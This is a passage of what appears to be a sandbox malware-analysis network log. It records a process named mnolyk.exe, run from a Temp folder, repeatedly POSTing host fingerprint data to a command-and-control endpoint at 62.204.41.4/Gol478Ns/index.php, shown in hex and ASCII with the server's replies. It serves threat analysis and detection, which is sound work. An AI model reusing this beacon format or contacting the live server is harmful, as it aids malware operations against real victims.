Feb 8, 2023 21:33:56.596900940 CET	742	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:56.662391901 CET	743	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
544	192.168.2.3	50247	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:56.859618902 CET	743	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:56.923338890 CET	744	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
545	192.168.2.3	50248	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:57.096615076 CET	744	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:57.161145926 CET	745	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
546	192.168.2.3	50249	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:57.332963943 CET	745	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:57.396867037 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
547	192.168.2.3	50250	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:57.566354036 CET	746	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:57.658190966 CET	747	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
548	192.168.2.3	50251	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:57.847161055 CET	747	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:57.927674055 CET	748	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
549	192.168.2.3	50252	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:58.095925093 CET	748	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:58.160579920 CET	749	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49757	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:30.341809034 CET	256	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:30.403728008 CET	256	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
550	192.168.2.3	50253	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:58.330621958 CET	749	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:58.394375086 CET	750	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
551	192.168.2.3	50254	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:58.565095901 CET	750	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:58.629164934 CET	751	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
552	192.168.2.3	50255	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:58.840938091 CET	751	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:58.905013084 CET	752	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
553	192.168.2.3	50256	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:59.079103947 CET	752	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:59.144504070 CET	753	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
554	192.168.2.3	50257	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:59.313801050 CET	753	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:59.379992962 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
555	192.168.2.3	50258	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:59.548026085 CET	754	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:59.612236977 CET	755	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
556	192.168.2.3	50259	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:59.785012007 CET	755	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:59.849739075 CET	756	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
557	192.168.2.3	50260	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:00.035520077 CET	756	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:00.102188110 CET	757	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
558	192.168.2.3	50261	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:00.284821987 CET	757	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:00.348800898 CET	758	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
559	192.168.2.3	50262	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:00.517158031 CET	758	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:00.579685926 CET	759	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49758	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:30.574105978 CET	257	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:30.637723923 CET	257	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
560	192.168.2.3	50263	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:00.750617981 CET	759	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:00.814040899 CET	760	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
561	192.168.2.3	50264	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:01.016917944 CET	760	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:01.083281040 CET	761	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
562	192.168.2.3	50265	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:34:01.268881083 CET	761	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:34:01.334364891 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
563	192.168.2.3	50266	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
